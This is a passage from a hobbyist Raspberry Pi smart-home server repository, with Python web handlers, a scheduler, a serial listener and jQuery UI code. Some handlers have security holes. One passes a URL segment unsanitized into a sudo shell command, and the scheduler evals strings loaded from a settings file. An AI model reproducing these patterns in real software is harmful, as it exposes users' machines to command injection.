struct.unpack(\"BBhI\", bytes(recv_buff))\n print(\"received packet: \" + str(pkt))\n packet += 1\n\ndef send_packet():\n radio.stopListening()\n cnt = 1\n pkt = struct.pack(\"BBhI\", 42, cnt, 2, 34)\n while not radio.write(pkt):\n print(\"resending\")\n print(radio.get_status())\n time.sleep(1)\n print(radio.get_status())\n cnt +=1\n pkt = struct.pack(\"BBhI\", 42, cnt, 2, 34)\n print(\"Packet sent\")\n print(radio.get_status())\n time.sleep(1)\n\n\ndef pingpong():\n global packet\n while(True):\n while not radio.available([0], False):\n time.sleep(0.001)\n # print(\"recv\")\n packet += 1\n recv_buff = []\n radio.read(recv_buff)\n radio.stopListening()\n retry = 0\n while not radio.write(\"PONG\"):\n # print(\"retry\")\n retry += 1\n radio.startListening()\n\n\ndef cntr():\n global packet\n while(True):\n time.sleep(1)\n print(\"packets: {}\".format(packet))\n packet = 0\n\n\nt = Thread(target=cntr)\n#t.start()\n\n# pingpong()\n#nrfRead()\n# nrfWrite()\nsend_packet()\n" }, { "alpha_fraction": 0.5667094588279724, "alphanum_fraction": 0.5756895542144775, "avg_line_length": 27.090089797973633, "blob_id": "3ff550afb0e7e3276c7f6fb62b2746142ec92a4c", "content_id": "affe3fb848666e79efea694bcfdb870377e662e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3118, "license_type": "no_license", "max_line_length": 103, "num_lines": 111, "path": "/python/app.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport http.client\n#from flipflop import WSGIServer\nimport html\nfrom utils import runCommand, FileBrowser\nfrom mpc import spawnPlayer, MPCPlayer\nimport urllib.parse\nimport os\nimport sys\nimport json\nimport threading\nimport time\nfrom wol import WOLThread\nfrom dlna import getDLNAItems\nimport url_handler\n\nlogfile = open(\"./log.txt\", 'w')\n\n\ndef Log(msg):\n logfile.write(msg + '\\n')\n logfile.flush()\n\n\nclass TestHandler:\n\n def __call__(self, params):\n return \"testddd \" + str(params)\n\n\nclass BrowserHanlder(FileBrowser):\n\n def __init__(self):\n FileBrowser.__init__(self, '\\\\192.168.1.115\\share', True)\n\n def __call__(self, params):\n try:\n path = urllib.parse.unquote('/'.join(params))\n path = html.unescape(path)\n return self.processItemOnFS(path)\n except AttributeError:\n pass\n except FileBrowser.NotADirException:\n spawnPlayer('/'.join(params))\n return \"ok\"\n\n\nclass MPCRequestHandler:\n\n def __init__(self):\n self.mpc = MPCPlayer()\n\n def __call__(self, params):\n if \"forward\" in params:\n self.mpc.jumpFForward()\n elif \"play\" in params:\n qs = env.get('QUERY_STRING')\n query = urllib.parse.parse_qs(qs)\n url = query['url'][0]\n spawnPlayer(url)\n start_resp('200 OK', [('Content-Type', 'text/plain')])\n return \"\"\n elif \"backward\" in params:\n self.mpc.jumpBBack()\n elif \"pplay\" in params:\n self.mpc.pplay()\n elif \"audio\" in params:\n self.mpc.nextAudio()\n elif \"fullscreen\" in params:\n self.mpc.fullscreen()\n elif \"playerinfo\" in params:\n try:\n data = json.dumps(self.mpc.getInfo())\n start_resp('200 OK', [('Content-Type', 'text/plain')])\n return data\n except Exception as e:\n return str(e)\n return \"Ok\"\n\n\nclass SystemRequestHandler:\n\n def __call__(self, params):\n if \"suspend\" in params:\n try:\n data = runCommand(\n 'rundll32.exe powrprof.dll,SetSuspendState 0,1,0')\n start_resp('200 OK', [('Content-Type', 'text/plain')])\n return str(data)\n except Exception as e:\n return str(e)\n elif \"key\" in params:\n key = params[1]\n out = runCommand(\n \"export XAUTHORITY=/home/dima/.Xauthority; export DISPLAY=:0; sudo xdotool key \" + key)\n return out\n return \"Unknown request\"\n\n\nclass App:\n\n def __init__(self):\n self.dispatcher = url_handler.UrlDispatcher()\n self.dispatcher.addHandler('/srv/test', TestHandler())\n self.dispatcher.addHandler('/srv/browse', BrowserHanlder())\n self.dispatcher.addHandler('/srv/player', MPCRequestHandler())\n self.dispatcher.addHandler('/srv/system', SystemRequestHandler())\n\n def processRequest(self, req_handler):\n return self.dispatcher.dispatchUrl(req_handler.request.uri)\n" }, { "alpha_fraction": 0.5220193266868591, "alphanum_fraction": 0.5440386533737183, "avg_line_length": 22.871795654296875, "blob_id": "93f8e709e7dc5a163462072737301a11c05df746", "content_id": "bfa17b31128316cb7c95be81deeda4c57fd9c11b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1862, "license_type": "no_license", "max_line_length": 53, "num_lines": 78, "path": "/python/serial_listener.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#! /usr/bin/python3\n# sudo pip3 install pySerial\nimport serial\nimport threading\nimport time\nimport http.client\n\nCOMMAND_INTERVAL = 5\nport = serial.Serial(\"/dev/ttyAMA0\", baudrate=115200)\n\n\ndef readlineCR(port):\n rv = b''\n while True:\n ch = port.read()\n rv += ch\n if ch == b'\\n' or ch == b'':\n return rv.decode('ascii').strip()\n\n\nclass CommandProcessor:\n\n def __init__(self):\n self.last = False\n self.interval = 0\n\n def process(self, cmd):\n if not self.last:\n self.interval = self.processFunc(cmd)\n self.last = time.time()\n else:\n elapsed = time.time() - self.last\n if elapsed >= self.interval:\n self.interval = self.processFunc(cmd)\n self.last = time.time()\n\n def sendRequest(self, req):\n con = http.client.HTTPConnection('127.0.0.1')\n con.request(\"GET\", req)\n r = con.getresponse()\n\n def processFunc(self, cmd):\n if 'ff000f' in cmd:\n self.sendRequest(\"/socket/17/switch\")\n return 5\n elif '6509af' in cmd:\n self.sendRequest(\"/player/forward\")\n return 1\n elif 'd002ff' in cmd:\n self.sendRequest(\"/player/pplay\")\n return 1\n elif 'e501af' in cmd:\n self.sendRequest(\"/player/backward\")\n return 1\n elif '9f060f' in cmd:\n self.sendRequest(\"/radio/stop\")\n return 0\n\n\nclass UARTThread(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n self.setDaemon(True)\n\n def run(self):\n cp = CommandProcessor()\n while True:\n line = readlineCR(port)\n cp.process(line)\n\n\ndef startListen():\n t = UARTThread()\n t.start()\n return t\nif __name__ == \"__main__\":\n startListen().join()\n" }, { "alpha_fraction": 0.5147472023963928, "alphanum_fraction": 0.5189606547355652, "avg_line_length": 31.363636016845703, "blob_id": "2dd7b08a3a5754522a62ca085cd1bc429ba083d4", "content_id": "fb3b9051313a25896d6e4378e59486e0a19d4112", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1424, "license_type": "no_license", "max_line_length": 88, "num_lines": 44, "path": "/python/twitch.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport http.client\nimport json\nimport urllib\nfrom web_backend import ServiceConnection\n\nTWITCH_BASE_REQ = \"kraken\"\nTWITCH_HOST = \"api.twitch.tv\"\n\n\nclass Twitch (ServiceConnection):\n\n def __init__(self):\n self.items_per_page = 11\n ServiceConnection.__init__(self, TWITCH_HOST, https=True)\n\n def getGames(self, page=0):\n js = json.loads(self.getData(\"/kraken/games/top?limit=%d&offset=%d\" %\n (self.items_per_page, page * self.items_per_page)))\n x = [(x[\"game\"][\"name\"],\n x[\"viewers\"],\n x[\"game\"][\"box\"][\"small\"]) for x in js[\"top\"]]\n return x\n\n def searchStreams(self, game, page=0):\n data = (self.getData(\"/kraken/streams?game=%s&limit=%d&offset=%d\" %\n (game, self.items_per_page, self.items_per_page * page)))\n try:\n js = json.loads(data)\n x = [(x['channel']['display_name'],\n x['channel']['url'].replace(\"http://www.twitch.tv/\", \"\"),\n x['preview']['small'],\n x['viewers']\n ) for x in js[\"streams\"]]\n return x\n except ValueError as e:\n print(\"Error parsing data: \", str(data))\n return \"None\"\n\nif __name__ == \"__main__\":\n print(\"Twitch module\")\n t = Twitch()\n for s in t.searchStreams(\"Overwatch\", 0):\n print(s)\n" }, { "alpha_fraction": 0.6349460482597351, "alphanum_fraction": 0.6377449035644531, "avg_line_length": 27.033708572387695, "blob_id": "cc151e7ec0c21beaf42bcce08cbcf98c686b816b", "content_id": "422238f298d94d6bf890a3e3425f541c777dd93e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2501, "license_type": "no_license", "max_line_length": 69, "num_lines": 89, "path": "/python/raspi/raspi_system.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "from flask_raspi import app\nfrom flask import abort\nfrom gpio import RaspiGPIOOut\nfrom xbmc import XBMC\nfrom utils import FileBrowser, SystemUptime, ConnectionRefusedHandler\nimport urllib.parse\nimport html\nimport os\nimport pathlib\nimport json\nimport logging\nxbmc = XBMC()\n\nlogger = logging.getLogger(\"webguy\")\[email protected](\"/socket/<int:socket>/<string:action>\")\[email protected](\"/socket/<int:socket>/<string:action>/<int:value>\")\ndef socket(socket, action, value = None):\n p = RaspiGPIOOut(socket)\n if action == 'set':\n p.setValue(value == 1)\n return \"ok\"\n elif action == 'switch':\n value = p.getValue()\n p.setValue(not value)\n return str(p.getValue())\n elif action == 'get':\n return str(p.getValue())\n return \"Unknown command\"\n\[email protected](\"/music\")\[email protected](\"/music/<string:path>\")\n@ConnectionRefusedHandler\ndef musicBrowse(path = './'):\n browser = FileBrowser('/mnt/music')\n path = urllib.parse.unquote('/'.join(path))\n path = html.unescape(browser.dir_path + '/' + path)\n type = 'directory'\n if pathlib.Path(path).is_file():\n type = 'file'\n xbmc.Stop()\n xbmc.ClearPlaylist(0)\n xbmc.AddToPlayList(0, path, type=type)\n xbmc.StartPlaylist(0)\n xbmc.SetAudioDevice('PI:Analogue')\n return \"ok\"\n try:\n path = urllib.parse.unquote('/'.join(params))\n path = html.unescape(path)\n return browser.processItemOnFS(path)\n except FileBrowser.NotADirException:\n return \"not a dir\"\n\[email protected](\"/browse/\")\[email protected](\"/browse/<path:path>\")\n@ConnectionRefusedHandler\ndef fsBrowse(path = './'):\n browser = FileBrowser('/mnt/nfs/')\n logger.warning(\"sdf\")\n try:\n path = html.unescape(path)\n return browser.processItemOnFS(path)\n except AttributeError:\n logger.warning(\"Attribute error\")\n pass\n except FileBrowser.NotADirException:\n path = os.path.normpath(browser.dir_path + '/' + path)\n logger.warning(\"Not a dir\")\n print(path)\n xbmc.Open(path)\n return \"ok\"\n\[email protected]('/system/<string:action>')\n@ConnectionRefusedHandler\ndef systemAction(action):\n\n def GetSystemInfo():\n info = {}\n info[\"uptime\"] = str(SystemUptime())\n return info\n\n if action == 'hdmi':\n xbmc.SetAudioDevice('PI:HDMI')\n elif action == 'analog':\n xbmc.SetAudioDevice('PI:Analogue')\n elif action == 'info':\n return json.dumps(GetSystemInfo())\n else:\n abort(404)\n return \"ok\"\n\n \n" }, { "alpha_fraction": 0.5842027068138123, "alphanum_fraction": 0.6020864248275757, "avg_line_length": 15.365853309631348, "blob_id": "01b247cac047391fa9e7a74f987dc5d196a71cca", "content_id": "fb0386836fe205a1425e4ebea9d6cd700127d2f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 671, "license_type": "no_license", "max_line_length": 51, "num_lines": 41, "path": "/webguy.init", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\n### BEGIN INIT INFO\n# Provides: webguy\n# Required-Start: $network $local_fs $remote_fs\n# Required-Stop: $network $local_fs $remote_fs\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: Webserver for raspi smart home\n### END INIT INFO\n\nexport LANG=en_US.UTF-8\n\nWEBGUY_PATH=\"/home/xbian/webguy/\"\nWEBGUY_WD=$WEBGUY_PATH/python\n\ndo_start()\n{\n echo \"Starting service\"\n cd $WEBGUY_WD\n ./server.py --app raspi 2>&1 > /dev/null &\n}\n\ndo_stop()\n{\n echo \"Stopping service\"\n pkill -9 server.py\n}\n\ncase \"$1\" in \n start)\n do_start\n ;;\n stop)\n do_stop\n ;;\n restart)\n do_stop\n do_start\n ;;\nesac\n" }, { "alpha_fraction": 0.5378825664520264, "alphanum_fraction": 0.5435897707939148, "avg_line_length": 27.24532699584961, "blob_id": "dabbf49d0e2ab5502f0ee7ce579d564a1cf71b92", "content_id": "f81e7e5bb42e161efdebbee5d82dd023818f30e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 12090, "license_type": "no_license", "max_line_length": 196, "num_lines": 428, "path": "/page/raspi/script.js", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "\n//-----------------File browser station-------------------------//\n\nfunction find_longest_substr(s1, s2) {\n // js implementation of algorythm from this article:\n // https://en.wikipedia.org/wiki/Longest_common_substring_problem\n var l = new Array(s1.length)\n for (i = 0; i < s1.length; ++i) {\n l[i] = new Array(s2.length)\n }\n var z = 0;\n var ret = \"\"\n for (i = 0; i < s1.length; ++i) {\n for (j = 0; j < s2.length; ++j) {\n if (s1[i] == s2[j]) {\n if (i == 0 || j == 0) {\n l[i][j] = 1;\n } else {\n l[i][j] = l[i - 1][j - 1] + 1\n }\n if (l[i][j] > z) {\n z = l[i][j];\n ret = s1.substr(i - z + 1, z)\n } else {\n /*\n if (l[i][j] == z) {\n //ret += s1.substr(i - z + 1, z)\n }*/\n }\n } else {\n l[i][j] = 0;\n }\n }\n }\n return ret;\n}\n\nfunction reduce_lines(str_array) {\n var s1 = str_array[0]\n var s2 = str_array[str_array.length - 1]\n var com_strings = []\n var common_string = find_longest_substr(s1, s2)\n var ind = 0;\n while (common_string.length >= 4) {\n s1 = s1.replace(common_string, \"\")\n s2 = s2.replace(common_string, \"\")\n com_strings.push(common_string)\n common_string = find_longest_substr(s1, s2)\n if (++ind > 3) {\n break;\n }\n }\n for (i = 0; i < str_array.length; ++i) {\n for (j = 0; j < com_strings.length; ++j) {\n if (str_array[i].indexOf(com_strings[j]) == -1) {\n com_strings.splice(j, 1)\n break;\n }\n }\n }\n for (i = 0; i < str_array.length; ++i) {\n for (j = 0; j < com_strings.length; ++j) {\n str_array[i] = str_array[i].replace(com_strings[j], \"\")\n }\n }\n return str_array;\n}\n\nvar path = []\nvar last_position = 0\n\nfunction browseHandle(data){\n var list = JSON.parse(data)\n $('#lst-dir').empty()\n var titles = []\n\n $('#browser-hdr').text('/'+path.join('/'))\n if(path.length != 0){\n $('#lst-dir').append('<li>..</li>')\n }\n var dirs = list[\"dirs\"]\n var files = list[\"files\"]\n var file_display = files\n if (path.length != 0 && files.length >= 2){\n file_display = reduce_lines(files.slice(0))\n }\n title_to_info = {}\n for (dir in dirs ){\n var title = dirs[dir]\n var el = $('<li>', { class:'dirItem'}).html(title)\n $('#lst-dir').append(el)\n }\n for (file in files ){\n var title = file_display[file]\n var file_name = files[file]\n $('#lst-dir').append(format('<li filename=\"%s\" class=\"fileItem\">%s</li>', [file_name, title]))\n }\n $('#lst-dir').listview('refresh')\n $.mobile.loading(\"hide\")\n $(window).scrollTop(last_position)\n}\n\nfunction itemLoaded(data){\n $.mobile.loading(\"hide\")\n}\n\n$('#lst-dir').on('click', 'li', function(){\n var item = $(this).html()\n var isDir = $(this).is(\".dirItem\")\n $.mobile.loading(\"show\",{ \n text:item,\n textVisible:true \n })\n $('input[data-type=\"search\"]').val(\"\");\n if (item == '..'){\n path.pop()\n $('#lst-dir').empty().listview(\"refresh\")\n $.get('/browse/'+ path.join('/'), browseHandle)\n return \n }\n last_position = $(window).scrollTop()\n if (!isDir){\n var filename = this.getAttribute('filename')\n $.get(['/browse', path.join('/'), filename].filter(function(val){return val != ''}).join('/') , itemLoaded)\n } else {\n var id = title_to_info[item]\n path.push(item)\n $('#lst-dir').empty().listview(\"refresh\")\n $.get('/browse/'+path.join('/'), browseHandle)\n }\n})\n\n$(\"#btn-browse\").bind(\"click\", function(event, ui){\n window.open('#browser', '_self')\n $.mobile.loading(\"show\",{ \n text:'/',\n textVisible:true \n })\n $.get('/browse/'+path.join('/'), browseHandle)\n})\n//-----------------Radio station-------------------------//\nvar current_page = 1\nfunction stationsLoaded(data)\n{\n try{\n var stations = JSON.parse(data)\n }\n catch(e){\n window.alert(e.message + \"\\n Data:\\n\" + data)\n return\n }\n $('#lst-stations').empty()\n $('#stations-hdr').text('Page ' + current_page)\n for (station in stations)\n {\n var title = stations[station]['name']\n var st_id = stations[station]['id']\n $('#lst-stations').append('<li class=\"station\" st_id=\"'+st_id+'\">'\n + title +\n '</li>')\n }\n $('#lst-stations').listview('refresh')\n}\n$('#lst-stations').on('click', 'li', function(){\n var item = $(this).html()\n var st_id = this.getAttribute('st_id')\n $.get('/radio/play/' + st_id )\n\n})\n\n$('#btn-stations').bind('click', function(event, ui){\n window.open('#stations', '_self')\n $.get('/radio/page/'+current_page, stationsLoaded)\n\n})\n\n$('#btn-prev').bind('click', function(event, ui){\n if(current_page > 1){\n $.get('/radio/page/' + --current_page, stationsLoaded)\n }\n})\n$('#btn-next').bind('click', function(event, ui){\n $.get('/radio/page/' + ++current_page, stationsLoaded)\n})\n\n$('#btn-stop').bind('click', function(event, ui){\n $.get('/radio/stop')\n})\n//-----------------Twitch -------------------------//\nvar twitch_page = 0\nvar games_page = 0\nvar current_game = \"\"\nvar browseGames = true\n\nfunction twitchStreamHandle(data)\n{\n var list = JSON.parse(data)\n $('#twitch-lst-dir').empty()\n for (stream in list ){\n var title = list[stream][0]\n var url = list[stream][1]\n var img = list[stream][2]\n var viewers = list[stream][3]\n $('#twitch-lst-dir').append(format('<li class=\"fileItem\" twitch_url=\"%s\"><img class=\"game-thumb\" src=\"%s\">%s<span class=\"ui-li-count\">%s</span></li>', [title, img, title, viewers]))\n }\n $('#twitch-lst-dir').listview('refresh')\n $.mobile.loading(\"hide\")\n browseGames = false;\n}\n\nfunction twitchGamesHandle(data)\n{\n var list = JSON.parse(data)\n $('#twitch-lst-dir').empty()\n for (game in list) {\n var name = list[game][0]\n var viewers = list[game][1]\n var image = list[game][2]\n $('#twitch-lst-dir').append(format('<li class=\"fileItem\"><img class=\"game-thumb\" src=\"%s\"><div class=\"game-title\">%s</div><span class=\"ui-li-count\">%s</span></li>', [image, name,viewers]))\n }\n $('#twitch-lst-dir').listview('refresh')\n $.mobile.loading(\"hide\")\n browseGames = true;\n}\n\n$(\"#btn-browse-twitch\").bind(\"click\", function(event, ui){\n $('#twitch-browser-hdr').text(\"Twitch\")\n window.open('#twitch-browser', '_self')\n $.mobile.loading(\"show\",{ \n text:'/',\n textVisible:true \n })\n $.get('/twitch/games/' + games_page, twitchGamesHandle)\n})\n\n$('#twitch-lst-dir').on('click', 'li', function(){\n var item = $(this).html()\n if (browseGames){\n var game = this.getElementsByClassName('game-title')[0].innerHTML\n current_game = game\n $('#twitch-browser-hdr').text(game)\n $.get(format('/twitch/search/%s/%s', [game, twitch_page]), twitchStreamHandle )\n\n } else {\n var url = this.getAttribute('twitch_url')\n $.get('/twitch/play/' + url )\n }\n})\n\n$('#twitch-btn-next').bind('click', function(event, ui){\n $.mobile.loading(\"show\",{ \n text:'Loading',\n textVisible:true \n })\n if (browseGames){\n games_page++\n $.get('/twitch/games/' + games_page, twitchGamesHandle)\n \n } else{\n twitch_page++\n $.get(format('/twitch/search/%s/%s', [current_game, twitch_page]), twitchStreamHandle )\n }\n})\n$('#twitch-btn-prev').bind('click', function(event, ui){\n $.mobile.loading(\"show\",{ \n text:'Loading',\n textVisible:true \n })\n if (browseGames){\n games_page--\n if (games_page < 0) games_page = 0\n $.get('/twitch/games/' + games_page, twitchGamesHandle)\n \n } else{\n twitch_page--\n if (twitch_page < 0) twitch_page = 0\n $.get(format('/twitch/search/%s/%s', [current_game, twitch_page]), twitchStreamHandle )\n }\n})\n//-----------------Youtube staff -------------------------//\n$('#btn-youtube').bind('click',function(event, ui){\n window.open('#youtube-page', '_self') \n\n})\n\nvar q;\nvar nextToken;\nvar prevToken;\nfunction searchDone(data)\n{\n var searchResult = JSON.parse(data)\n nextToken = searchResult.nextToken ? searchResult.nextToken : 0;\n prevToken = searchResult.prevToken ? searchResult.prevToken: 0;\n items = searchResult[\"items\"]\n $('#youtube-search-res').empty()\n for (item in items){\n var video_id = items[item][\"id\"]\n var title = items[item][\"title\"]\n var image = items[item][\"thumbnail\"]\n var date_exp = /(.*)T.*/g\n var date = date_exp.exec(items[item][\"published\"])[1]\n $('#youtube-search-res').append(format('<li class=\"video\" Id=\"%s\" ><img class=\"game-thumb\" src=\"%s\">%s<span class=\"ui-li-count\">%s</span></li>', [video_id, image, title, date ]))\n }\n $('#youtube-search-res').listview('refresh')\n}\n\nfunction itemOpened(data)\n{\n $.mobile.loading(\"hide\")\n}\n\n$('#youtube-search-res').on('click', 'li', function(){\n searchType = $(\"input[name=searchtype]:checked\").val()\n var item = $(this).html()\n var id = this.getAttribute('Id')\n $.mobile.loading(\"show\",{ \n text:'Opening video/playlist',\n textVisible:true \n })\n if (searchType == \"video\")\n $.get('/youtube/play/'+ id, itemOpened)\n else\n $.get('/youtube/playlist/'+ id, itemOpened)\n})\n\n$(\"#search-form\").on(\"submit\", function(){\n q = $(\"#video-search\").val()\n searchType = $(\"input[name=searchtype]:checked\").val()\n $.get('/youtube/search/'+q, {\"type\":searchType}, searchDone)\n return false\n})\n\nfunction changePage(token) {\n searchType = $(\"input[name=searchtype]:checked\").val()\n $.get('/youtube/search/'+q, {\"token\":token, \"type\": searchType}, searchDone)\n}\n$(\"#youtube-btn-prev\").on(\"click\", function(){\n changePage(prevToken)\n})\n\n$(\"#youtube-btn-next\").on(\"click\", function(){\n changePage(nextToken)\n})\n\n// ------------------Music staff------------------//\nvar music_path = []\n\nfunction processMusicItems(data){\n var list = JSON.parse(data)\n $.mobile.loading(\"hide\")\n $('#music-items').empty()\n var dirs = list['dirs']\n var files = list['files']\n for (dir in dirs){\n var el = $('<li>', { class:'dirItem'}).html(dirs[dir])\n $('#music-items').append(el)\n }\n for (file in files){\n var el = $('<li>', { class:'fileItem'}).html(files[file])\n $('#music-items').append(el)\n\n }\n $('#music-items').listview('refresh')\n\n}\n\n$('#btn-music').bind('click', function(event, ui){\n window.open('#music-page', '_self')\n music_path = []\n $.get('/music', processMusicItems)\n})\n\n$('#music-items').on('tap', 'li', function(){\n var item = $(this).html()\n var isDir = $(this).is(\".dirItem\")\n //music_path.push(item)\n $.mobile.loading(\"show\",{ \n text:item,\n textVisible:true \n })\n $.get('/music/'+ item, itemLoaded)\n\n})\n$('#music-items').on('taphold', 'li', function(){\n var item = $(this).html()\n $('#dirPopup').popup()\n $('#popup-msg').html(item)\n $('#dirPopup').popup('open')\n})\n\n//--------------------- System staff -------------------/\nfunction updateSystemInfo(data){\n// data = JSON.parse(data)\n $('#uptime').html(data[\"uptime\"])\n}\n\n$('#btn-system').on('click', function(event, ui){\n window.open('#system-page', '_self')\n $('#btn-system-audio-hdmi').on('click', function(event,ui){\n $.get('/system/hdmi')\n })\n $('#btn-system-audio-analog').on('click', function(event,ui){\n $.get('/system/analog')\n })\n $.get('/system/info', updateSystemInfo)\n\n})\n//-------------------------/\n$('#btn-playlist').on('click', function(event,ui){\n$.get('/player/playlist', function(data){\n var list = JSON.parse(data)\n var items = list[\"items\"]\n var plItems = $(\"#playlist-items\")\n plItems.empty()\n for (item in items){\n var el = $('<li>', { pos:item}).html(items[item]['label'])\n plItems.append(el)\n }\n plItems.listview()\n plItems.listview('refresh')\n $('#playlist-items').on('tap', 'li', function(){\n var item = $(this).attr('pos')\n $.get('/player/goto/'+ item)\n\n })\n $(\"#playlistPopup\").popup()\n $(\"#playlistPopup\").popup(\"open\")\n})\n})\n" }, { "alpha_fraction": 0.48148149251937866, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 17, "blob_id": "72ca6cd68740a150ed8228abfa17d594e9a4803d", "content_id": "6dad2f192b1e6eefc1bf1308c4e4e73be4dfe14d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 54, "license_type": "no_license", "max_line_length": 27, "num_lines": 3, "path": "/page/img/wget_and_resize.sh", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/bin/bash\nwget $1 -O $2\nconvert $2 -resize 64x64 $2\n" }, { "alpha_fraction": 0.5573226809501648, "alphanum_fraction": 0.5733622312545776, "avg_line_length": 34.09738540649414, "blob_id": "c76f90931239f3d1fced43ac327bfd48418b289d", "content_id": "ca45559cd9c73754e95c3f2d183cfa87892527d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14776, "license_type": "no_license", "max_line_length": 125, "num_lines": 421, "path": "/python/scheduler.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport sched\nimport threading\nimport time\nimport datetime\nfrom datetime import timedelta\nfrom utils import LoadFile, WriteToFile\nimport json\n\nSCHEDULER_SETTINGS = \"scheduler.json\"\n\n\nclass SchedulerSettings:\n\n def __init__(self):\n \n self.clearEvents()\n\n def clearEvents(self):\n self.data = {\"events\": {}}\n\n def Load(self):\n fileData = LoadFile(SCHEDULER_SETTINGS)\n if fileData:\n try:\n fileData = json.loads(fileData)\n self.data = fileData\n except Exception as e:\n print(str(e))\n\n def Save(self):\n WriteToFile(SCHEDULER_SETTINGS, json.dumps(self.data, indent=2))\n\n def AddEvent(self, event):\n self.data[\"events\"][event.time] = \\\n {\"priority\": event.priority,\n \"action\": event.action.serialize(),\n \"argument\": event.argument,\n \"kwargs\": event.kwargs}\n\n\nclass Scheduler (threading.Thread):\n\n def __init__(self, ut_time = time.time):\n threading.Thread.__init__(self)\n self.setDaemon(True)\n self.s = sched.scheduler(ut_time, time.sleep)\n self.settings = SchedulerSettings()\n self.settings.Load()\n self.LoadSettings()\n\n def run(self):\n print(\"thread running\")\n while True:\n deadline = self.s.run(blocking=False)\n time.sleep(1)\n\n def enterFromDate(self, date, handler, *args, **kwargs):\n seconds_since_epoch = time.mktime(date.timetuple())\n self.s.enterabs(seconds_since_epoch, 1, handler,\n argument=args, kwargs=kwargs)\n\n def enter(self, timeout, handler, *args, **kwargs):\n self.s.enter(timeout, 1, handler, argument=args, kwargs=kwargs)\n\n def enterabs(self, timeout, handler, *args, **kwargs):\n self.s.enterabs(timeout, 1, handler, argument=args, kwargs=kwargs)\n\n def LoadSettings(self):\n for event in self.settings.data[\"events\"]:\n event_data = self.settings.data[\"events\"][event]\n self.enterabs(float(event), eval(\n event_data[\"action\"]), *event_data[\"argument\"], **event_data[\"kwargs\"])\n\n @property\n def list(self):\n lst = []\n for e in self.s.queue:\n lst.append(\"{0}: {1}\".format(\n datetime.datetime.fromtimestamp(\n e.time).strftime(\"%d/%m, %H:%M:%S\"),\n e.action.serialize()))\n return lst\n\n def UpdateSettings(self):\n self.settings.clearEvents()\n for e in self.s.queue:\n self.settings.AddEvent(e)\n self.settings.Save()\n\n\nclass Action:\n\n def __init__(self, desc=\"\"):\n self.desc = desc\n\n def __call__(self, f):\n class Wrapper:\n\n def __init__(self, f, desc):\n self.f = f\n self.desc = desc\n\n def serialize(self):\n return self.desc\n\n def __call__(self, *args, **kwargs):\n print(\"Performing action \", self.desc)\n return self.f(*args, **kwargs)\n\n return Wrapper(f, self.desc)\n\n\nclass TimePattern:\n\n def __init__(self, **kwargs):\n self.tuple_format = (\"year\",\"month\",\"day\",\"hour\", \"minute\")\n self.tuple_index = dict(zip(self.tuple_format, range(0, len(self.tuple_format))))\n def red(accum, x):\n accum.append(kwargs.get(x,0))\n return accum\n import functools\n self.at = tuple(functools.reduce(red, self.tuple_format, []))\n\n def __getattr__(self, attr):\n return self.at[self.tuple_index[attr]]\n\n def getMaxSignVal(self):\n max_sign_val = next((item for item\n in range(0, len(self.at)) if self.at[item] !=0),\n -1)\n return max_sign_val\n\n def getSignificantValues(self):\n max_sign_val = self.getMaxSignVal()\n min_sign_val= next((item for item\n in reversed(range(0, len(self.at))) if self.at[item] !=0),\n len(self.tuple_format))\n\n return self.tuple_format[max_sign_val: min_sign_val+1], \\\n self.tuple_format[min_sign_val+1:]\n\n def getAnchorDate(self, current_time, future=None):\n time_args = {}\n max_sign_val = self.getMaxSignVal()\n for i in range(0 ,max_sign_val):\n attr_name = self.tuple_format[i]\n time_args[attr_name] = getattr(current_time, attr_name)\n for i in range(max_sign_val, len(self.tuple_format)):\n attr_name = self.tuple_format[i]\n time_args[attr_name] = self.at[i]\n anch_date = datetime.datetime(**time_args)\n if future:\n if future == \"month\":\n time_args[future] += 1\n anch_date = datetime.datetime(**time_args)\n else:\n anch_date += timedelta(**{future+\"s\":1})\n return anch_date\n\n def getSignificantTimeDelta(self, current_time):\n values = self.getSignificantValues()\n isFit = all([getattr(current_time, m) == getattr(self, m)\n for m in values[0]] )\n if isFit:\n ar = {}\n for item in values[1]:\n ar[item + \"s\"] = getattr(current_time, item)\n return timedelta(**ar)\n else:\n anch_date = self.getAnchorDate(current_time)\n delta = current_time - anch_date\n if anch_date < current_time:\n max_sign_val = self.getMaxSignVal()\n fut_val = self.tuple_format[max_sign_val - 1]\n anch_date = self.getAnchorDate(current_time, future = fut_val)\n return anch_date - current_time\n\n def getTimeDelta(self):\n values = self.getSignificantValues()[0]\n args = {}\n for arg in values:\n args[arg+\"s\"] = getattr(self, arg)\n return timedelta(**args)\n\n\nclass RepetativePattern:\n def __init__(self, start_time = None):\n self.start_time = start_time\n self.period = 0\n self.at = []\n\n def EveryHour(self, hour):\n return self.EveryMinute(60 * hour)\n\n def EveryMinute(self, minute):\n self.EverySecond(60 * minute)\n\n def EverySecond(self, second):\n self.period = second\n return self\n\n def At(self, **timed):\n self.at.append(TimePattern(**timed))\n return self\n\n def FromTime(self, time):\n self.start_time = time\n return self\n\n \"\"\"\n Returns number of second upcoming event scheduled in\n \"\"\"\n def UpcomingEvent(self, current_time):\n if not self.start_time:\n return None\n if not len(self.at) and not self.period:\n return None\n\n if (self.start_time > current_time):\n return 